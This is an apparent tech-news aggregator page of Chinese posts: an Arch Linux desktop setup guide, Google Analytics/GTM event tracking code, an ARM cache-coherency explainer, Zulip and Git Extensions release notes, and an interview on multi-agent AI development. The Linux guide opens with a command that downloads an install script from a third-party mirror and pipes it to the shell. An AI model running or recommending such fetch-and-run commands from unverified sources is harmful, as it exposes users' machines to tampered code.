默认的zsh不显示当前路径,很不方便,因此装上ohmyzsh。

sh -c "$(curl -fsSL https://gitee.com/pocmon/ohmyzsh/raw/master/tools/install.sh)"

要美化自己找教程,简洁就挺好的。
命令补全 github.com/zsh-users/z…

yay -S zsh-autosuggestions

打开~/.zshrc,添加如下命令

source ~/.zsh/zsh-autosuggestions/zsh-autosuggestions.zsh

终端文本编辑器

实在不行就用nano吧,如果没有心情去解决复制粘贴问题。

使用micro,默认快捷键就是和windows一样,ctrl+c,ctrl+v。
退出使用Ctrl+q(quit),很直观。
而且最nb的是,他可以在终端上直接用鼠标,简直不要太爽。

yay -S micro

复制粘贴问题(错误方法)

使用时遇到了问题,micro里面复制,到外面就没用了。必应一搜就找到解决办法了。
image 解决方法如下:
github.com/zyedidia/mi…

micro

打开micro,按Ctrl+e,输入如下命令并回车

set clipboard terminal

复制粘贴问题(解决方法)

set clipboard internal
micro内部粘贴复制,可以用终端的粘贴快捷键来粘贴到里面,但是micro内部的复制无法影响到系统的剪切板
set clipboard terminal
内部复制可以到系统剪切板上,但是系统剪切板无法粘贴到micro内部
内部的Ctrl+V也没反应,只能用终端粘贴快捷键,比如Ctrl+Shift+V或者Shift+Insert这种。  
set clipboard external
始终使用系统剪切板。有个比较无解的地方就是,使用sudo时,就不能读取系统的剪切板。  
这个问题,可以使用终端的粘贴快捷键。比如Ctrl+Shift+V,始终使用这个快捷键进行粘贴,体验就会比较一致。(C和V对应)

forum.manjaro.org/t/micro-edi…
正确做法如下 wayland需要安装复制的包

yay -S wl-clipboard

打开micro,按Ctrl+e,输入如下命令并回车(这个好像就是默认设置)

set clipboard external

可能有用的链接如下:
github.com/zyedidia/mi…

文件查找

需要类似于windows上面everything的功能,虽然linux自带find,但是没有那么好用。
对我来说,图形界面的更直观,找到文件双击就能打开,有图标来区分文件类型,不需要记命令行等多种优势,另一方面,可能我用惯everyting了。
安装fsearch。

yay -S fsearch

输入法

输入法我主要使用全拼,因为平时并不需要打很多中文,而且全拼相对于双拼比较直观。
就好像我用惯了windows和vscode,一用vim就浑身不舒服。双拼和五笔对我来说都有很高的成本,而我又比较懒,不想学。
输入法分为多个模块,其中,首先最重要的是输入法引擎(主流引擎就fcitx和ibus两个)。
比较喜欢fcitx。

装输入法的时候,很迷惑为什么要装这么多软件包,因此去了解了一下,防止换了个系统就不会用了。而且看别人写的博客,有一些东西一笔带过了,但是总体也是很复杂,于是还是得自己折腾。

基础功能

  1. fcitx5-im

fcitx5-im包含以下软件包

fcitx5
fcitx5-configtool
fcitx5-gtk
fcitx5-qt

linux多数软件由qt和gtk构建GUI,用户期望无论他们正在使用的应用程序是基于哪种 GUI 库构建的,输入法的行为都是一致的。通过同时支持 Qt 和 GTK,Fcitx5-im 确保了这种一致性的用户体验。

因此建议直接装fcitx5-im,而不是一个个装。

  1. Fcitx5-rime

Fcitx5-rime是rime输入法提供的,由于rime在linux上是由fcitx提供的,因此是这个名字。
Fcitx5-rime可以看作是功能的增强,主要功能还是由fcitx提供,Fcitx5-rime只是添加了一些rime的功能。
既可以说自己用的是fcitx输入法,也可以说用的是rime输入法。
我用rime纯粹是因为linux上用这玩意的多,而输入法我不想多折腾。

  1. fcitx5-chinese-addons

没什么好说的,这个软件包提供常用的中文输入方式,比如拼音、五笔之类的。

yay -S fcitx5-im fcitx5-rime fcitx5-chinese-addons

环境变量

根据桌面管理器(Desktop Explorer)和窗口管理器(Window Manager)需要配置不同的变量。

访问wiki以查看如何配置。
wiki.archlinuxcn.org/wiki/Fcitx5… 我使用kde和wayland,只需要配置一个环境变量。
image

sudo micro /etc/environment
XMODIFIERS=@im=fcitx

不重启,设置里面是找不到输入法的,因此我不确定能否找到下面这个虚拟键盘选项。
打开设置,搜索虚拟键盘,选择fcitx5。

sudo reboot

词库

维基百科和萌娘百科的词库。

yay -S fcitx5-pinyin-zhwiki fcitx5-pinyin-moegirl

雾凇拼音,是一套rime配置。
github.com/iDvel/rime-…
由于我前面一直没有修改rime配置文件,因此不用考虑什么覆盖配置、备份配置的问题,直接安装即可。

yay -S rime-ice-git

emoji

谷歌emoji,或者是说安卓。

yay -S noto-fonts-emoji

主题

github.com/hosxy/Fcitx…
我一般是不怎么在意主题的,奈何默认的外观实在是太丑了。

yay -S fcitx5-material-color
nano ~/.config/fcitx5/conf/classicui.conf

内容如下,和文档相比,我只改了一个主题颜色,用的橙色。

# 垂直候选列表
Vertical Candidate List=False

# 按屏幕 DPI 使用
PerScreenDPI=True

# Font (设置成你喜欢的字体)
Font="思源黑体 CN Medium 13"

# 主题
Theme=Material-Color-Orange

恕我愚笨,没找到在哪里重启fcitx5。

# 直接结束进程,他会自动重启,然后shell程序会一直换行,可以使用ctrl+C退出。  
pkill fcitx5

image

rime配置

改配置时,他里面的按键是用英文命名,而不是字符。比如逗号叫comma。
github.com/LEOYoon-Tsa…
~/.local/share/fcitx5/rime下,创建文件default.custom.yaml
内容如下

patch:
  # 仅使用「雾凇拼音」的默认配置,配置此行即可
  __include: rime_ice_suggestion:/
  # 以下根据自己所需自行定义,仅做参考。
  # 针对对应处方的定制条目,请使用 <recipe>.custom.yaml 中配置,例如 rime_ice.custom.yaml
  __patch:
    # 关闭以词选字,没有用的功能
    key_binder/select_first_character: ""
    key_binder/select_last_character: ""
    key_binder/bindings/+:
        # 方括号换页。
        - { when: paging, accept: bracketleft, send: Page_Up }
        - { when: has_menu, accept: bracketright, send: Page_Down }
    # 每页的长度
    "menu/page_size": 6
  # 关闭【方案选单】快捷键,一个用不到的功能居然要占用我的快捷键,Ctrl+`打开终端的快捷键被占去了
  switcher/hotkeys:


下面可以看到雾凇的默认配置路径。
image

基于雾凇改的另一款。
github.com/gaboolic/ri…

其他

rime的配置地址如下,如果你没有进行任何配置,rime这个目录需要你自己创建。

~/.local/share/fcitx5/rime/

其他rime配置文件:
github.com/wongdean/ri…

Wayland

wayland和fcitx5兼容性

fcitx-im.org/wiki/Using_…
Chrome加过参数后,会出现花屏的现象,也有启动慢的问题。
image b站这个验证页面点不动。
image

wayland和Electron

需要关闭图形加速。wayland、英伟达显卡和Chrome,兼容性不太行。
启动加上如下参数。

 --disable-gpu --enable-features=UseOzonePlatform --ozone-platform=wayland --enable-wayland-ime

我是直接换x11了,wayland这样搞,显卡都废了

切换回X11

切换回x11后,Ghostty终端中,无法使用快捷键切换输入法,与Kitty终端的问题并不相同,我尝试了kitty并设置环境变量后,他正常运行了,然而Ghostty却不是。
github.com/ghostty-org…
我厌倦了去找issue,我看了半天并没有我想要的答案,看样子他们提出的issue是wayland上面的,我在wayland时期确实没有遇到这种问题,Konsole其实也够用了。
切换回X11后,需要照着前面输入法的环境变量重新设置,并重新登录以使其生效。

必备软件

微信

yay -S wechat

office

一般使用wps,毕竟linux上面不能使用微软的office。
wps国产软件,比较符合使用习惯。

有人推荐永中和onlyoffice,但是我建议还是直接wps。
onlyoffice是开源的,除此之外就没什么

注意wps-office是国际版,页面全英文,加个后缀-cn就是中文版。
wiki.archlinuxcn.org/wiki/WPS_Of…

剪切板管理工具

KDE自带的Klipper稍微可以用一用。

支持图片保存到剪切板。

之前在windows使用CopyQ来管理剪切板,他可以分多个标签,因此有时key起到快速输入的效果。
我没有剪切板同步的需求。
www.bilibili.com/opus/101225…

  1. CrossPaste,不知为何图片没有进入剪切板。
  2. 剪切助手,无linux端
  3. SyncClipboard,问题如图 image
  4. 柠檬 Push,纯同步,linux无GUI。
  5. 快贴,好像也是没有GUI。
  6. ProjectSend,功能不对。
  7. EcoPaste,不支持wayland。
  8. PasteBarApp,不支持linux。
  9. 1clipboard,不支持linux。

CopyQ,我在windows上面一直用。
在发现CopyQ的快捷键不起作用后,我放弃了wayland。

可选软件

常用工具

yay -S cmake clang

lutris,wine(不推荐)

arch.icekylin.online/app/common/…
用这个网址提供的wine安装命令执行失败了,建议用wine游戏助手(lutris国内版)

sudo pacman -S wine zenity
sudo pacman -S lib32-libpulse

黑屏、花屏的现象都会出现。
有时候就是不弹出窗口(之前能运行),如果玩玩植物大战僵尸之类的小游戏还是没什么问题的。

百度网盘

少有的提供linux版本的网盘。

yay -S baidunetdisk-bin

进度显示有点问题,有时候不会动。 image

zed(不推荐)

zed打开设置,以下格式配置代理。
github.com/zed-industr…

"proxy" : "http://yourProxyURL.com:8080"

终端

www.cnblogs.com/PeterJXL/p/…

  1. tabby(不推荐) 因为有eletron的以来,这玩意的aur包要装很久。
    image 装了半天,没装上。

  2. Konsole KDE自带的终端,中规中矩。

  3. IShell 使用fcitx5中文输入法,打出来的字会变成三倍。
    他提供的反馈渠道显示繁忙。
    官网的反馈渠道更是404.
    bugs.ishell.cc/bugs
    有内置ai等功能,但是不太适合作为本地的终端。

  4. windTerm和Xterminal。
    都还不错,我在windows上使用过。

  5. mobaxTerm(不推荐) 以前用这个,只有windows版本而且全英文。

  6. kitty(不推荐) 默认文字间距很宽,看起来非常难受。
    image

  7. WezTerm(不推荐) 有点丑,比起Konsole感觉也没什么优势,而且还需要装上字体才能获得正常体验。

  8. Blackbox Gnome自带的,应该是和Konsole类似,比较平庸。

  9. warp 启动比较慢,还是不适合做日常终端软件。 www.warp.dev/download
    下载tar.zst格式

yay -U ./xxx.tar.zst

有时候放后台,再点进去弹不出来,不适合做常驻终端。

最终还是用了默认的Konsole。

steam和显卡驱动

装steam之前,你应该解决显卡驱动问题。
我的这篇博客中解决了显卡问题,除了开机会黑屏一会儿,并无大碍。
www.cnblogs.com/oldsaltfish…
装完驱动后,安装steam就行了。

yay -S stesm

image steam用的少,下下来只为了测试显卡是否正常工作。

cursor

yay -S cursor-bin

安装Vscode。

yay -S visual-studio-code-bin

utools

提供一些工具,用得少,但是能解决问题就很爽。
为数不多的全平台工具。

wox也能在linux使用,喜欢开源的可以试试。 wox中快捷键不生效,搜不到自带软件,我很快就对他失去耐心了。
image 上面utools,下面wox image

yay -S utools-bin

github-cli

yay -S github-cli

音乐

只有qq音乐提供了linux版本。

yay -S qqmusic-bin

flutter

docs.flutter.cn/get-started…

yay -S jetbrains-toolbox

看别人的说法,直接使用官网的压缩包或者使用yay都有一定问题。因此可以使用toolsbox进行安装。
打包发布。
distributor.leanflutter.dev/zh-hans
提供了pacman的支持,但是没有给出文档。
github.com/leanflutter…

github

Fine-grained personal access token,用于限制组织成员对组织内资源的访问。
github.net.cn/zh/organiza…

由于这个选项只有读仓库的权力(没有写),应该是用于提交PR,管理issue之类的其他权限。

无权限。

remote: Permission to OldSaltFish/cmd-with-rust.git denied to OldSaltFish.  
致命错误:无法访问 'https://github.com/OldSaltFish/cmd-with-rust.git/':The requested URL returned error: 403

其他问题

apipost用不了,黑屏。
由于vscode的开源版用起来没有问题,所以应该是软件问题。
可以使用apifox。
apifox.com/
apifox.com/apiskills/a…

尽量不要使用electron的应用。

Linux通用应用

flatpak

第一次安装的时候需要下载1G左右的文件,还是让人比较反感,也许ubuntu内置这玩意这种做法好一些。
目前主力军应该还是AppImage。

nix(不推荐)

nix-env 主要用于管理和操作用户级别的软件包,提供了安装、卸载、更新等功能,并且支持回滚机制。
nix-shell 则专注于创建隔离的开发环境,使得开发者能够在不受系统其他部分干扰的情况下工作,特别适合多语言项目和复杂的依赖关系管理。

search.nixos.org/packages?ch…
当我试着安装截图软件snipaste时,他报错如下:

➜  ~ nix-shell -p snipaste
error: getting status of '/nix/var/nix/daemon-socket/socket': Permission denied
➜  ~ sudo nix-shell -p snipaste
[sudo] dreamsoul 的密码:
error:
       … while calling the 'derivationStrict' builtin
         at <nix/derivation-internal.nix>:34:12:
           33|
           34|   strict = derivationStrict drvAttrs;
             |            ^
           35|

       … while evaluating derivation 'shell'
         whose name attribute is located at /nix/store/w74d7b6nqn0sx6vac9scwaszy17vj9n9-nixpkgs/nixpkgs/pkgs/stdenv/generic/make-derivation.nix:375:7

       … while evaluating attribute 'buildInputs' of derivation 'shell'
         at /nix/store/w74d7b6nqn0sx6vac9scwaszy17vj9n9-nixpkgs/nixpkgs/pkgs/stdenv/generic/make-derivation.nix:422:7:
          421|       depsHostHost                = elemAt (elemAt dependencies 1) 0;
          422|       buildInputs                 = elemAt (elemAt dependencies 1) 1;
             |       ^
          423|       depsTargetTarget            = elemAt (elemAt dependencies 2) 0;

       (stack trace truncated; use '--show-trace' to show the full, detailed trace)

       error: Package ‘snipaste-2.10.3’ in /nix/store/w74d7b6nqn0sx6vac9scwaszy17vj9n9-nixpkgs/nixpkgs/pkgs/by-name/sn/snipaste/package.nix:27 has an unfree license (‘unfree’), refusing to evaluate.

       a) To temporarily allow unfree packages, you can use an environment variable
          for a single invocation of the nix tools.

            $ export NIXPKGS_ALLOW_UNFREE=1

          Note: When using `nix shell`, `nix build`, `nix develop`, etc with a flake,
                then pass `--impure` in order to allow use of environment variables.

       b) For `nixos-rebuild` you can set
         { nixpkgs.config.allowUnfree = true; }
       in configuration.nix to override this.

       Alternatively you can configure a predicate to allow specific packages:
         { nixpkgs.config.allowUnfreePredicate = pkg: builtins.elem (lib.getName pkg) [
             "snipaste"
           ];
         }

       c) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
         { allowUnfree = true; }
       to ~/.config/nixpkgs/config.nix.

github.com/NixOS/nixpk…
需要改root用户的配置文件来允许不自由的软件安装(因为用的是sudo)。
安装软件奇慢无比,而且命令行中会显示一大堆copy path,对使用软件没有任何帮助。
image 真是搞不懂为什么能这么慢,几乎是卡着不动了。
image

sudo nix-shell -p localsend

运行localsend没有反应,对nix失去耐心了。

markdown

yay -S obsidian

每个人写markdown的软件不一样,没什么好说的

体验

很多商业软件都只提供deb和rpm,幸好arch的第三方软件源非常强大。

  1. 截图功能 自带的截图软件Spectacle不太好用,比起windows的pixpin差远了。
    没有贴图功能。可能需要使用flameshot,但是太丑了实在是,功能也只是勉强能用。
    只能使用snipaste,希望pixpin早日做出linux版本。
    snipaste没有录制gif的功能,也没有OCR。
    客观比较的话,我体感上,pixpin比snipaste卡一些。
    zh.snipaste.com/

  2. yay真是太好用了,少打很多sudo。

  3. 微信的AppImage包体验不太好,幸好aur源里面有微信。

下一个linux系统多半选deb系了。

by 魂祈梦 at January 17, 2025 06:48 AM

谷歌分析-工作总结

谷歌分析官网:marketingplatform.google.com/about/analy…

埋点:就是在网站的特定位置添加代码,来收集用户行为数据

需求描述

项目需求埋点一般包括(以这次需求为例):

  1. 用户基本信息维度:包括用户 ID、用户名、性别、年龄、地域等,用于了解用户的特征。

  2. 登录行为维度:登录时间、登录频率、登录方式(如账号密码、第三方登录)等,可评估用户的活跃程度和使用习惯。

  3. 操作行为维度:如页面浏览路径、点击的功能模块、停留时间、操作的成功与失败等,有助于分析用户对不同功能的偏好和使用流程的顺畅性。

  4. 业务行为维度:例如购买行为(购买金额、购买频率、购买商品类别)、发布内容(发布数量、内容类型)、互动行为(点赞、评论、分享)等,以衡量用户对业务的参与度和贡献度。

  5. 设备信息维度:使用的设备类型(手机、电脑、平板)、操作系统、浏览器等,用于优化用户体验和解决兼容性问题。

  6. 来源渠道维度:用户是通过何种渠道(搜索引擎、社交媒体、推广活动等)进入平台的,以便评估渠道效果和优化推广策略。

  7. 留存相关维度:首次使用时间、回访时间、连续使用天数等,日活跃,周活跃,月活跃,用于分析用户的留存情况和忠诚度。

分析思路

其中3,5,6,7可直接通过Google Analytics(GA4)来直接分析:

3:谷歌分析开启后会自动收集,在设置-数据流-事件-增强事件里面设置

5:设备信息可以在GA中报告页面下的用户-技术可以看到

6:同理,用户来源可以在报告页面-流量获取看到,其中用户需要点击渠道商推广的链接来进入,GA4会自动获取该流量来源

7:同理用户留存信息可以在报告页面-互动度看到相关信息

1,2,4需要在代码中埋点记录用户行为

GA4使用

在项目中集成GA4,获取自己的GA4 Measurement ID,在项目代码中添加指定代码

集成代码本质就是将GA4的js库导入进去,在项目中就可以使用该js代码

集成完成后两种方法使用:

  • 使用集成的gtag.js发送事件
  • 使用谷歌代码跟踪器(GTM)来设置

其中官方推荐使用GTM来发送事件,不侵入代码,可视化设置,更好的对接渠道商

直接使用

使用项目中集成的gtag.js发送事件比较简单:

注意:一定要开全局代理,否则集成失败😭

例如发送表单提交事件:

建议参考谷歌文档中的推荐事件,笔者在测试自定义事件时发送不出去,网上资料使用这种方式很少,建议使用GTM来发送事件

<script>
  document.getElementById('myForm').addEventListener('submit', function(event) {
    event.preventDefault(); // 防止表单实际提交
    gtag('event', 'form_submit', {
      'event_category': 'user_interaction',
      'event_label': 'myForm',
      'value': 1
    });
    // 在发送事件后执行表单提交或其他操作
    this.submit();
  });
</script>

GTM使用

GTM:全称Google Tag Manager,是谷歌提供的一种标签管理系统,允许您在不需要修改代码的情况下管理和部署分析和营销标签。

简单来说就是可以在代码的某处添加标签,然后设置触发器来执行该标签,该标签可以是GA4事件,所以可以很好的和GA4结合

登录后在首页点击右上方的GTM-XXXXXXX来进行GTM的集成,你需要在代码中添加该代码:

注意:GTM和GA4不能同时使用,所以请先移除之前的GA4相关代码

移除之后第一步:在GTM中集成GA4,需要新建一个标签,标签类型选择谷歌代码,代码ID写你在GA4中的ID,触发条件是页面初始化后,就连接到GA4了,后面GTM的发送的GA4事件就会被GA4收集到

业务埋点

知道了GTM的基本使用之后就可以根据需求埋点

用户首次登录埋点,首先在GTM中新建一个标签,标签类型选择GA4事件,填写自己的ID(最好定义为变量,方便后面每次获取)

如图,事件需要事件参数,即你向GTM发送该事件的参数,如图所示,我需要这些参数

那么我就需要在代码中向GTM发送该事件时定义该参数,然后携带上,GTM发送事件后不会直接发送到GA4,而是到达GTM的数据层,所以我们需要新建几个变量来获取:

到此,该标签触发的定义完成,该标签的触发器还没定义,触发器即用户发送首次登录后的GTM后触发,所以新建触发器,类型选择自定义事件,事件名称等于你发送的事件名称来确定唯一事件

到此为止,在GTM的操作告一段落,接下来需要在代码中埋点写发送逻辑:

笔者在发送时一直在登录成功后发送,在测试谷歌登录时,因为第三方登录的异步,组件加载流程问题浪费了很多时间,后面在雨晴哥思路下在leftNav文件中写该逻辑,在用户session有变化时发送该事件,通过首次登录的用户名来判断用户是否为谷歌登录,通过localStorage来保证事件只发送一次

  // 定义发送数据到 GTM 的函数
  const sendToGTM =  (userId: string | null | undefined, name: string | null| undefined, gender: string | null| undefined, loginMethod: string) => {
    window.dataLayer = window.dataLayer || [];
    window.dataLayer.push({
      event: 'userLogin',
      userId,
      name,
      gender,
      loginMethod,
      loginTime: new Date().toISOString()
    });
  };
  //钩子函数来发送
  useEffect(() => {
    const localStorageFlag = localStorage.getItem('hasSentToGTM');
    if (!localStorageFlag && session.status === 'authenticated' && session.data?.user && !hasSentToGTM.current) {
      const { id, name, gender, email } = session.data.user;
      const loginMethod = (email === name) ? "password" : "thirdParty";
      sendToGTM(id, name, gender, loginMethod);
      localStorage.setItem('hasSentToGTM', 'true');
      hasSentToGTM.current = true;
    }
  }, [session.status, session.data]);

业务埋点流程大致这样,其中触发器的类型还可以定义用户在点击聊天等按钮后触发,可以写一个GA4事件来发送。其中触发器的类型还有很多,可以探索一下

埋点测试

GTM很人性化的提供了在线调试的页面,在首页点击预览即可跳转到测试页面,在测试页面点击测试,该会话的事件就会被发送到左边通知栏,还可以搭配GA4的debug模式来调试很方便。

在测试没有问题后点击发布,发布一个版本。GTM就可以和GA4一起工作了,此时在在线页面上点击

在GA4中报告-实时页面中可以看到该行为

数据分析

可以在探索中添加自己的各种自定义维度来查看数据,这是我根据不同地区和不同渠道来源分析的一些数据:

细节完成

  1. 用户基本信息维度:完成了记录下了用户id、用户名、性别
  2. 登录行为维度:完成了用户首次登录时的登录时间、登录方式(账号/三方登录)
  3. 业务行为维度:完成用户支付的记录,包括用户id,购买金额,时间;用户点击聊天记录(用户id)
  4. 设备信息维度:GA4自动记录设备相关信息
  5. 来源渠道维度:需要广告商生成带有自己广告信息的网站链接,GA4自动解析
  6. 留存相关维度:GA4自动事件记录

渠道链接生成地址

ga-dev-tools.google/ga4/campaig…

by CoderLiz at January 17, 2025 06:47 AM

juejin career

多核多cluster多系统之间缓存一致性概述

image.png 本文转自 周贺贺,baron,代码改变世界ctw,Arm精选, armv8/armv9,trustzone/tee,secureboot,资深安全架构专家,11年手机安全/SOC底层安全开发经验。擅长trustzone/tee安全产品的设计和开发。

  1. 思考和质疑 在一个大架构大系统中,有哪些一致性需要维护?我们先看如下一张架构图。

image.png 然后请思考:

(1)、core0中的L1和L2 cache有一致性的要求吗?缓存和替换策略是怎样的? (2)、core0 cache 和 core1 cache的一致性是谁来维护? 遵从MESI协议吗? (3)、core0 cache 和 core4 cache的是怎么维护一致性的呢? (4)、custer0 L3 cache 和 cluster1 L3 cache的一致性是谁来维护?遵从什么协议吗? (5)、custer0 L3 cache 和 GPU的L2一致性呢?遵从什么协议? (6)、custer0 L3 cache 和 其它的I/O device Master一致性呢?遵从什么协议? (7)、DSU、ACE、CHI、CCI、CMN的概念? 网上的好多篇博文,一提Cache的多核一致性就必然提到MESI、MOESI ,然后就开始讲MESI、MOESI维护性原理?试问一下,您是真的不理解MESI吗?您真的需要学习MESI?你不理解的是架构吧,而不是学什么协议. 既然要学习MESI,那么这里也继续提出一些问题:

(1)、ARM架构中真的使用MESI了吗? 或者是哪一级cache使用了,哪一级cache没有使用? (2)、MESI是一个协议? 是谁来维护的?总得有个硬件实现这个协议吧,是在ARM Core实现?DSU实现? (3)、MESI的四种状态,分别记录在哪里的? (4)、arm现在主流的core,到底使用的是MESI,还是MOESI?

  1. 怎样去维护多核多系统缓存的一致性 有三种机制可以保持一致性:

禁用缓存是最简单的机制,但可能会显着降低 CPU 性能。为了获得最高性能,处理器通过管道以高频率运行,并从提供极低延迟的缓存中运行。缓存多次访问的数据可显着提高性能并降低 DRAM 访问和功耗。将数据标记为“非缓存”可能会影响性能和功耗。 软件管理的一致性是数据共享问题的传统解决方案。在这里,软件(通常是设备驱动程序)必须清除或刷新缓存中的脏数据,并使旧数据无效,以便与系统中的其他处理器或主设备共享。这需要处理器周期、总线带宽和功率。 硬件管理的一致性提供了一种简化软件的替代方案。使用此解决方案,任何标记为“共享”的缓存数据将始终自动更新。该共享域中的所有处理器和总线主控器看到的值完全相同。 然而,我们在ARM架构中,默认使用的却是第三种 硬件管理的一致性, 意思就是:做为一名软件工程师,我们啥也不用管了,有人帮我们干活,虽然如此,但我们还是希望理解下硬件原理。

再讲原理之前,我们先补充一个场景: 假设在某一操作系统中运行了一个线程,该线程不停着操作0x4000_0000地址处内存(所以我们当然期望,它总是命中着),由于系统调度,这一次该线程可能跑在cpu0上,下一次也许就跑在cpu1上了,再下一次也许就是cpu4上了(其实这种行为也叫做CPU migration)

或者举个这样的场景也行: 在Linux Kernel系统中,定义了一个全局性的变量,然后多个内核线程(多个CPU)都会访问该变量.

在以上的场景中,都存在一块内存(如0x4000_0000地址处内存)被不同的ARM CORE来访问,这样就会出现了该数据在main-memory、cluster cache、core cache不一致的情况, 复杂点场景可能还会考虑cluster chache和other Master(如GPU) cache的一致性情况。

既然出现了数据在内存和不同的cache中的不一致的情况,那么就需要解决这个问题(也叫维护cache一致性),那么怎么维护的呢,上面也说了“使用 硬件管理的一致性”,下面就以直接写答案的方式,告诉你硬件是怎样维护一致性的。

  1. 1 多核缓存一致性 同一个cluster中多core之间的缓存一致性由DSU(big.LITTLE叫SCU)来维护,遵循MESI协议。

  2. 2 多Master之间的缓存一致性 在讲述多Master之间的缓存一致性之前,我们先将Master分为以下几类:

ACE Master : 如 big.LITTLE cluster 或 DSU cluster CHI Master : 如 big.LITTLE cluster 或 DSU cluster ACE-lite Master: 如 GPU cluster I/O Device Master : 如 DMA

image.png 以下是多Master之间的缓存一致性的结论:

首先,CHI/ACE总线都是支持MESI协议数据传输的 Master与I/O Device Master之间没有一致性,因为I/O Device没有链接到CCI/CMN缓存互联总线上。 多个ACE/CHI Master之间的缓存一致性,是否遵循MESI,要具体情况具体分析,简而言之就是: (1) 如果两个Master都支持带MESI状态位,支持带有MESI信号的读写,那么这两个Master缓存一致性是遵从MESI协议的 (2) 如果有一个Master不支持带MESI状态位,那么这个Master就无法支持带有MESI信号的读写,那么这两个Master缓存一致性是不遵从MESI协议的 (3) Master的MESI状态位,是在该Master的cache的TAG中。 ACE/CHI Master和ACE-lite Master之间的缓存一致性,是不遵从MESI协议的。这主要是因为ACE/CHI Master无法snoop ACE-lite Master的内存,而ACE-lite Master却可以snoop ACE/CHI Master的内存,总得来说,这不是一个完整的MESI协议。 举一个最常见的例子:两个DSU cluster的L3 cache中的TAG中,是有MESI比特位的,这两个DSU通过ACE/CHI 接口发起的读写是带有MESI信号的,所以他们是支持MESI协议的。

image.png 再举一个例子,一个DSU cluster 和一个接到SMMU上的DMA,此时正好对应一个是ACE/CHI Master,一个ACE-lite Master,由于DMA/SMMU中并没有MESI状态位,他们也不会发起带有MESI信号的读写,所以这两个Master之间是不支持MESI协议的。

image.png

by Arm精选 at January 17, 2025 06:46 AM

oschina news project

Zulip Server 9.4 发布,开源团队协作工具

Zulip 是一个开源团队协作工具,一款专为实时和异步对话而设计的现代团队聊天应用程序,支持快速搜索、拖放文件上传、图像预览、组私人消息、可听通知、错过电子邮件消息提醒与桌面应用等。

Zulip Server 9.4 现已发布,一些更新亮点如下:

  • CVE-2024-56136:修复了一个漏洞,即托管多个组织的服务器可能会向未经身份验证的攻击者泄露有关正在使用的电子邮件地址的信息。仅托管单个组织的服务器不受此漏洞的影响。
  • 升级了 Slack 集成以支持 Slack 的 Events API(同时仍支持其 legacy outgoing webhook API)。使用 Slack 集成的安装应考虑使用更现代的 API 重新创建其集成,因为 Slack 最终将删除 legacy API,并且一些计划中的集成改进只有使用 Slack 的 modern API 才有可能。
  • 将两个繁体中文本地化版本合并。
  • 改进了对 Slack 导入中机器人头像的支持。
  • 修复了某些语言的集成页面的本地化问题。
  • 修复了一个错误,即使用户没有该权限,也会显示更改其他用户头像的用户界面。
  • 更新了需求文档,建议为 RAM 少于 5GB 的主机分配交换空间。
  • 更新了 python 依赖项。
  • 更新了翻译。

by 来源: OSCHINA at January 17, 2025 06:32 AM

Git Extensions v5.2 发布,独立的 Git 仓库 UI 管理工具

Git Extensions 是一个用于管理 git 存储库的独立 UI 工具,它可以与 Windows Explorer 和 Microsoft Visual Studio (2015/2017/2019) 集成。Git Extensions v5.2 现已发布,更新亮点如下:

  • 要求:.NET 8.0 Desktop Runtime v8.0.11 或更高版本
  • 推荐:Git 2.46.0 或更高版本
  • 无需启动控制台模拟器或控制台窗口(进程窗口)即可运行交互式 git 命令
  • 进一步改进 in-line diff
  • 支持保存 LFS 文件
  • Builds:支持 ADO 拉取请求
  • GPG key ID 无长度限制
  • 图表颜色可调整
  • 修复了几个错误,包括旧文件历史窗口中的错误
  • 用户界面和可用性改进 

更多详情可查看:https://github.com/gitextensions/gitextensions/releases/tag/v5.2

by 来源: OSCHINA at January 17, 2025 06:14 AM

oschina news industry

开发应用一分钟,省却台下十年功

多 Agent 技术的出现打破了传统单 Agent 模式在处理复杂任务时的局限性。通过模拟人类社会中的分工与合作,多 Agent 系统能够更好地应对不确定性高、动态变化的环境,为软件开发、智能服务等领域带来新的变革。
 
对于开发者而言,随着大模型技术在各个行业的广泛应用,多 Agent 技术也成为落地大模型技术中不可或缺的一环,因此开发者需要掌握相关技能,以便在未来的竞争中取得先发优势。
 
OSCHINA 采访了商汤科技大装置事业群研发总监王志宏,请他聊聊多 Agent 的应用场景、技术难点,已经我们如何利用多 Agent 技术实现开发提效。
 
OSCHINA:当下多 Agent 的应用场景主要有哪些?
王志宏:
从场景来说,多Agent适合复杂任务场景,该类场景没有非常固定的流程安排,需要多个步骤来回切换以满足实际的交付需求,比如在软件开发中,可能需要前后端多次协同联调最终才能达成产品的开发一样,流程不同但步骤和职能相同
  • 软件开发:在软件项目中,多个 Agent 可以分别承担项目经理、开发人员和测试人员等角色,从而将复杂任务分解,提高开发效率。
  • 智能营销:构建不同的营销 Agent,如内容生成、用户管理和效果分析 Agent,以实现精准的市场营销和用户互动。
  • 智能客服:针对不同客户需求,设计专属的客服 Agent以及对应的pipeline,提升服务质量和响应速度。
  • 数据分析:针对数据汇总、数据清洗、口径统一、数据调取、数据整理、数据分析的全流程,设计不同的具体过程,更高效的完成分析报告
从性能角度来说,单Agent模式需要将数据每次流转过固定的流程,数据需要串行经过各子节点,无法实现多任务并行调度;而多Agent通过调整不同的Agent间控制,能够有效提高这类场景的数据效率
 
OSCHINA:多 Agent 如何加速开发?
王志宏:
  • 模块化设计:将复杂系统拆分为多个独立的 Agent,使得每个 Agent 专注于特定功能,从而简化开发、测试和维护过程。
  • 并行处理:多个 Agent 可以并行工作,减少任务完成时间,提高整体系统的响应速度和效率。
  • 专业化能力:每个 Agent 可以专注于其擅长的领域,提升系统整体性能,避免单一 Agent 处理复杂任务时的瓶颈。
 
OSCHINA:让多个不同的 Agent 之间相互配合,技术难点主要在哪?
王志宏:
  • 任务理解与分配:Agent 必须能够理解复杂任务并合理分配给各自负责的子任务,需要thinking和action模块强大的理解和规划能力,否则任务效率和质量同样无法提高。
  • 记忆与知识管理:环境及对应变量的设定。保持上下文一致性和连贯性,要求各个 Agent 有效地存储和检索信息,以应对动态变化的环境。
  • 工具集成与互操作性:Agent 需要与外部工具和服务进行交互,这要求在设计时考虑不同工具之间的兼容性与集成问题。
 
OSCHINA:在AI应用开发流程中,对开发者提出了哪些新的技能要求?可以给开发者一些转型 / 成长建议吗?
王志宏:
  • 机器学习与深度学习知识:掌握机器学习算法原理,一方面便于构建和优化模型,一方面能够更加了解模型边界和生成逻辑。
  • 框架调用能力:善于使用底层框架(LazyLLM)能帮助大大提高实际开发产品的效率
  • 快速学习能力:大模型行业日新月异,需要有持续学习的精神和韧性
  • 跨学科能力:模型时代极大提高了个体效率,需要思考的内容从“怎么做”到“做什么”是一个大的跨越
 
